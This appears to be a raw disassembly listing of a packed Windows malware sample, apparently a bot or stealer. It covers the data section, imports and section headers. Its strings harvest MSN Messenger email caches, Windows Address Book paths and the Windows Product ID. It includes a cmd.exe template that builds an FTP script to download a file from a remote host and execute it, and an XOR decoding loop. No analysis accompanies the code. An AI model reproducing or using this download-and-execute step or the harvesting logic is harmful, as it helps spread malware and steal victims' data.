dword_448A34	dd 3A6E736Dh, 732520h, 0dword_448A40	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00436737o
		db 'ice',0
		align 10h
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
		align 8
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4369E0+52Bo
		align 10h
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4369E0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4369E0+4A4o
		align 10h
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4369E0+3BBo
		align 4


loc_448B6C:				; DATA XREF: sub_4369E0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_448B77:				; DATA XREF: sub_4369E0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B83:				; DATA XREF: sub_4369E0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B8F:				; DATA XREF: ___:004371A6o
					; ___:00437400o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_448BA0:				; CODE XREF: ___:00448BA5j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_448BA0
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043762Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ah dup(0)
off_448C90	dd offset off_43F1D4	; DATA XREF: ___:off_43F318o
					; ___:0043F354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Fh dup(0)
byte_448F30	db 0			; DATA XREF: sub_403530+95o
					; sub_404690+200o ...
		align 4
dword_448F34	dd 0							; sub_4246D0+11o ...
dword_448F38	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D4BFr ...
		align 10h
dword_448F40	dd 0							; ___:0040D425w ...
		dd 8 dup(0)
dword_448F64	dd 41h dup(0)						; ___:0040D460o ...
dword_449068	dd 0							; ___:loc_40D4B4r ...
dword_44906C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D42Fr ...
dword_449070	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D660+CAw
dword_449074	dd 0							; sub_40D660+E3r
		dd 11h dup(0)
dword_4490BC	dd 0							; sub_410030+47Dr
dword_4490C0	dd 0							; sub_410030+515r ...
dword_4490C4	dd 0							; sub_410030+655r ...
dword_4490C8	dd 0							; sub_410030+B79r ...
dword_4490CC	dd 0							; sub_410030+74Br
dword_4490D0	dd 0							; sub_410030+828r
dword_4490D4	dd 0							; sub_410030+77Cr
dword_4490D8	dd 0							; sub_410030+4DDr ...
dword_4490DC	dd 0							; sub_410030+311r
dword_4490E0	dd 0							; sub_410030+34Dr ...
dword_4490E4	dd 0							; sub_410030+33Dr
dword_4490E8	dd 0							; sub_410030+3D2r
dword_4490EC	dd 0							; sub_410030+E93r
dword_4490F0	dd 0							; sub_410030+1220r ...
dword_4490F4	dd 0							; sub_4120B0+4DAr
dword_4490F8	dd 0							; sub_410030+683r
dword_4490FC	dd 0							; sub_410030+6B5r
dword_449100	dd 0							; sub_410030+1252r
		dd 5 dup(0)
dword_449118	dd 10h dup(0)						; ___:004040AFo ...
		db 2 dup(0)
byte_44915A	db 0			; DATA XREF: sub_409B10r sub_409B80r
		align 4
		db 3 dup(0)
byte_44915F	db 0			; DATA XREF: sub_40D660+10Fr
		db 0
byte_449161	db 0			; DATA XREF: sub_40DBF0r
word_449162	dw 0			; DATA XREF: sub_40DBF0+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_449277	db 0			; DATA XREF: ___:00412F9Ao
					; ___:0041304Fo ...
		db 3 dup(0)
byte_44927B	db 0			; DATA XREF: sub_41F960:loc_41F99Dr
		align 10h
dword_449280	dd 12h dup(0)						; sub_410030+114o
		db 0
byte_4492C9	db 3 dup(0)		; DATA XREF: ___:00408BA1o
					; sub_410030+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_449312	dw 0			; DATA XREF: ___:00408B78o
					; sub_410030+132o
		dd 6 dup(0)
word_44932C	dw 0			; DATA XREF: sub_410030+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44935B	db 0			; DATA XREF: ___:00408BCAo
					; sub_410030+17Co ...
		dd 12h dup(0)
dword_4493A4	dd 12h dup(0)						; sub_410030+F7o ...
		db 0
byte_4493ED	db 3 dup(0)		; DATA XREF: ___:00408B03o
					; sub_410030+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44947F	db 0			; DATA XREF: ___:00408BF3o
					; sub_410030+19Ao
		dd 24h dup(0)
		db 0
byte_449511	db 3 dup(0)		; DATA XREF: sub_425100+2Bo
					; sub_425100+37o ...
		dd 11h dup(0)
		db 2 dup(0)
word_44955A	dw 0			; DATA XREF: ___:00412F6Ao
					; ___:00412F89o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44964F	dd 0							; sub_41F030+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_449729	db 0			; DATA XREF: sub_41BA50+18r
		align 4
		dd 36h dup(0)
byte_449804	db 0			; DATA XREF: sub_410030+842r
		align 4
		dd 0Bh dup(0)
dword_449834	dd 18h dup(0)						; sub_40EE40+97o ...
		db 2 dup(0)
byte_449896	db 0			; DATA XREF: sub_404CC0+258r
					; sub_41D930+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4498DF	db 0			; DATA XREF: sub_404CC0:loc_404F30r
					; sub_41D930:loc_41DFB6r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44990F	db 0			; DATA XREF: sub_404CC0+279o
					; sub_41D930+68Fo ...
		dd 12h dup(0)
dword_449958	dd 2Bh dup(0)						; sub_41F030+630o ...
dword_449A04	dd 0				dd 11h dup(0)
		db 0
dword_449A4D	dd 0				align 4
		dd 0D9h	dup(0)
byte_449DB8	db 0			; DATA XREF: sub_41F030+146r
					; sub_41F030+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_44AC5E	dw 0			; DATA XREF: sub_404690+1BDo
					; sub_404B60+31o ...
		db 2 dup(0)
word_44AC62	dw 0			; DATA XREF: sub_404B60+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_44ACD6	dw 0			; DATA XREF: sub_4076B0+36o
					; sub_407740+3Eo ...
		dd 26h dup(0)
dword_44AD70	dd 86h dup(0)						; sub_404CC0+27Eo ...
		db 3 dup(0)
byte_44AF8B	db 0			; DATA XREF: sub_426930+3Bw
					; sub_4269A0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44B18B	dd 0							; sub_4269A0+4Fw ...
dword_44B18F	dd 0							; ___:0042419Dw ...
dword_44B193	dd 0							; sub_4269A0+5Dr ...
dword_44B197	dd 0							; sub_4269A0+8Cr ...
dword_44B19B	dd 0							; sub_4269A0+9Dr
dword_44B19F	dd 0							; ___:004241D1r ...
byte_44B1A3	db 0			; DATA XREF: sub_426930+42w
					; sub_4269A0+85w
		dd 2828h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_446EFCo
		dd 0EB85h dup(0)
dword_49005C	dd 0BD23h dup(0)		db 0
byte_4BF4E9	db 3 dup(0)		; DATA XREF: ___:off_402027o
		dd 53D8h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_445314o
		dd 0ECEh dup(0)
		db 3 dup(0)
dword_4D7F8B	dd 0							; sub_426BD0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D8075	db 3 dup(0)		; DATA XREF: sub_404C70+1Eo
					; sub_404CC0+65o ...
		dd 5 dup(0)
byte_4D808C	db 0			; DATA XREF: sub_404CC0+292w
					; sub_404CC0+4EBw
dword_4D808D	dd 0							; sub_422B40:loc_4232C4r ...
		align 4
		dd 0
		db 0
dword_4D8099	dd 0							; sub_404C70+2Aw
byte_4D809D	db 3 dup(0)		; DATA XREF: ___:00412FC4o
					; ___:00412FE7o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D80C7	dd 0							; sub_428DC0:loc_428EB7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D818B	db 0			; DATA XREF: sub_426B60+16o
					; sub_426B90+19o
		db 3 dup(0)
byte_4D818F	db 0			; DATA XREF: sub_426A90+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D834F	db 0			; DATA XREF: ___:0040828Fo
					; ___:00408720o ...
		dd 8 dup(0)
dword_4D8370	dd 0				dd 51h dup(0)
		db 0
byte_4D84B9	db 0			; DATA XREF: sub_427B10:loc_427BC0r
					; sub_427FD0:loc_428085r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D8735	dd 0							; sub_427FD0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4E02A5	db 3 dup(0)		; DATA XREF: ___:00419F93o
					; sub_41A050+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E7D8F	db 0			; DATA XREF: sub_427D50+1Do
		dd 21h dup(0)
		db 0
byte_4E7E15	db 3 dup(0)		; DATA XREF: ___:00419FA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E86EF	db 0			; DATA XREF: sub_427D50+2Fo
		dd 1D5h	dup(0)
byte_4E8E44	db 0			; DATA XREF: sub_404CC0+299w
					; sub_410030:loc_410072r ...
byte_4E8E45	db 3 dup(0)		; DATA XREF: sub_404CC0+235o
					; sub_404CC0+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E8E5A	dw 0			; DATA XREF: sub_404CC0+2D4o
					; ___:00408734o ...
		dd 0Fh dup(0)
		db 0
byte_4E8E99	db 0			; DATA XREF: sub_41F960+31w
					; sub_41F960+47w ...
		db 0
byte_4E8E9B	db 0			; DATA XREF: sub_418590+21o
					; sub_41D930+341o ...
		dd 6D2Eh dup(0)
dword_504354	dd 12B6h dup(0)	dword_508E2C	dd 1000h dup(0)						; ___:00419B9Do ...
dword_50CE2C	dd 333h	dup(0)						; ___:00419BB8o ...
dword_50DAF8	dd 0							; sub_41A110+1Br ...
		dd 3 dup(0)
dword_50DB08	dd 0							; ___:0041FC3Dw ...
dword_50DB0C	dd 0							; sub_41FB90+2Aw ...
dword_50DB10	dd 0		dword_50DB14	dd 0							; ___:0041FC5Bw
dword_50DB18	dd 0		dword_50DB1C	dd 0							; ___:0041FC67w ...
dword_50DB20	dd 0							; ___:0041FC6Dw ...
dword_50DB24	dd 0							; ___:00420EA9o
dword_50DB28	dd 0							; sub_41FB90:loc_41FBB4r ...
dword_50DB2C	dd 0							; ___:0041FC81w
dword_50DB30	dd 0							; sub_420630+41w ...
dword_50DB34	dd 0							; sub_420630+7Fr
dword_50DB38	dd 0							; sub_420630+92r ...
dword_50DB3C	dd 0							; sub_420630+148r
		dd 3 dup(0)
dword_50DB4C	dd 0							; ___:0041C2A5o
dword_50DB50	dd 0							; sub_423820+5r ...
dword_50DB54	dd 0							; ___:00423FABr ...
		dd 7CEh	dup(0)
dword_50FA90	dd 6 dup(0)						; ___:00423EAFo ...
dword_50FAA8	dd 196h	dup(0)						; sub_423760+6Do
dword_510100	dd 0		word_510104	dw 0			; DATA XREF: sub_424F70+A9r
		align 4
word_510108	dw 0			; DATA XREF: sub_4253C0+45r
					; sub_4257F0+DAr
		align 4
dword_51010C	dd 0				dd 0
byte_510114	db 0			; DATA XREF: sub_4267D0:loc_426830r
					; sub_4267D0+97w
		align 4
dword_510118	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_427B10+D9r
dword_51011C	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_427B10+45r
dword_510120	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_427B10+54r ...
		align 8
dword_510128	dd 80h dup(0)						; sub_427D50+129o
dword_510328	dd 0		dword_51032C	dd 0				dd 1Dh dup(0)
dword_5103A4	dd 0							; ___:0042C40Dr ...
dword_5103A8	dd 0							; sub_42DE00:loc_42DE96r ...
dword_5103AC	dd 0		; resolved to->WS2_32.connect					; sub_432570+2Dr ...
dword_5103B0	dd 0		dword_5103B4	dd 0							; sub_431560r ...
dword_5103B8	dd 0		dword_5103BC	dd 0							; sub_4309A0+111w ...
dword_5103C0	dd 0							; sub_4309A0+F6r ...
dword_5103C4	dd 0							; ___:loc_4316A0r
dword_5103C8	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_4322D0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Ah	dup(0)
dword_5108C0	dd 10h dup(0)						; sub_431470:loc_4314A0o ...
dword_510900	dd 8 dup(0)						; sub_430830+25o ...
dword_510920	dd 8 dup(0)						; sub_431980+25o ...
dword_510940	dd 8 dup(0)						; sub_432850+84o ...
dword_510960	dd 8 dup(0)						; sub_432850+8Bo ...
dword_510980	dd 366h	dup(0)						; sub_4309A0:loc_430AB7o ...
dword_511718	dd 0				align 10h
dword_511720	dd 0				dd 2 dup(0)
dword_51172C	dd 0				dd 4 dup(0)
dword_511740	dd 0							; sub_40E870+25Ar ...
dword_511744	dd 0		dword_511748	dd 0				dd 2 dup(0)
dword_511754	dd 0							; sub_40EE40+15Er ...
		dd 0
dword_51175C	dd 0							; sub_40E870+22Cr
		dd 0
dword_511764	dd 0							; sub_4208E0+285r ...
		dd 0
dword_51176C	dd 0							; sub_40E870+24Cr
		dd 1Ch dup(0)
dword_5117E0	dd 0							; sub_420630+FEr
		dd 20h dup(0)
dword_511864	dd 0		dword_511868	dd 0		dword_51186C	dd 0				dd 3 dup(0)
		dd 0
		dd 0Bh dup(0)
dword_5118AC	dd 0							; sub_410030+47r ...
		dd 7 dup(0)
dword_5118CC	dd 0				dd 2 dup(0)
dword_5118D8	dd 0							; sub_41B5B0+2Fr ...
		align 10h
dword_5118E0	dd 0							; sub_4204D0+2Er ...
		align 10h
dword_5118F0	dd 0				dd 8 dup(0)
		dd 0
dword_511918	dd 0							; sub_420630:loc_42067Cr ...
		dd 31h dup(0)
dword_5119E0	dd 0				dd 22h dup(0)
dword_511A6C	dd 0							; sub_42E5B0+53r ...
dword_511A70	dd 0				dd 2 dup(0)
dword_511A7C	dd 0				dd 3 dup(0)
dword_511A8C	dd 0		dword_511A90	dd 0							; sub_42DE00+4Ar ...
		dd 2 dup(0)
dword_511A9C	dd 0		dword_511AA0	dd 0		dword_511AA4	dd 0		dword_511AA8	dd 0		dword_511AAC	dd 0		dword_511AB0	dd 0				align 8
dword_511AB8	dd 0							; ___:0041C3DAr
		dd 3 dup(0)
dword_511AC8	dd 0							; sub_41BA50+17Er ...
		align 10h
dword_511AD0	dd 0							; sub_42F2C0+34r ...
		align 8
dword_511AD8	dd 0				align 10h
dword_511AE0	dd 0							; sub_42DE00+90r
dword_511AE4	dd 0							; sub_426070+C8r ...
		dd 0
dword_511AEC	dd 0				dd 4 dup(0)
dword_511B00	dd 0							; sub_41BD90+5Dr
dword_511B04	dd 0							; sub_410030+1126r ...
dword_511B08	dd 0							; ___:00419CDAr
		dd 2 dup(0)
dword_511B14	dd 0							; sub_422B40+203r ...
		dd 0
dword_511B1C	dd 0				dd 3 dup(0)
		dd 0
		dd 34h dup(0)
dword_511C00	dd 0							; sub_41A050+2Dr ...
		dd 0Dh dup(0)
dword_511C38	dd 0							; sub_425100:loc_4251B2r ...
dword_511C3C	dd 0							; sub_42B8E0:loc_42B99Br
		dd 4 dup(0)
dword_511C50	dd 0				dd 2 dup(0)
dword_511C5C	dd 0				dd 0
dword_511C64	dd 0		dword_511C68	dd 0							; sub_42B8E0+F9r
		dd 7 dup(0)
dword_511C88	dd 0				dd 2 dup(0)
dword_511C94	dd 0							; sub_41A7D0+48r ...
dword_511C98	dd 0		dword_511C9C	dd 0							; sub_41F960+198r ...
dword_511CA0	dd 0							; ___:004217E1r ...
dword_511CA4	dd 0							; sub_4253C0+8Br ...
		dd 0
dword_511CAC	dd 0							; sub_42C830+E8r
		dd 4D4h	dup(0)
___		ends

; Section 2. (virtual address 00113000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 513000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 514000h
		dd 400h	dup(0)
_idata__	ends

; Section 4. (virtual address 00115000)
; Virtual size			: 00112000 (1122304.)
; Section size in file		: 00112000 (1122304.)
; Offset to raw	data for section: 00115000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 515000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 5 dup(0)
		public start
start		dd 0BD4Ch dup(0)
		db 3 dup(0)
byte_544547	db 0			; DATA XREF: ___:off_447214o
		dd 0B512h dup(0)
		db 3 dup(0)
		db 0
		dd 139B2h dup(0)
dword_5C005C	dd 0EFEDh dup(0)		db 0
byte_5FC011	db 3 dup(0)		; CODE XREF: sub_4068E0+12Bp
					; sub_409CA0+1Cp ...
		dd 5B43h dup(0)
dword_612D20	dd 0FCBh dup(0)			db 2 dup(0)
word_616C4E	dw 0			; DATA XREF: ___:off_4452FCo
		dd 3034h dup(0)
dword_622D20	dd 10B8h dup(0)	Themida_	ends

; Section 5. (virtual address 00227000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00227000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 627000h
		align 2000h
_idata2		ends


		end start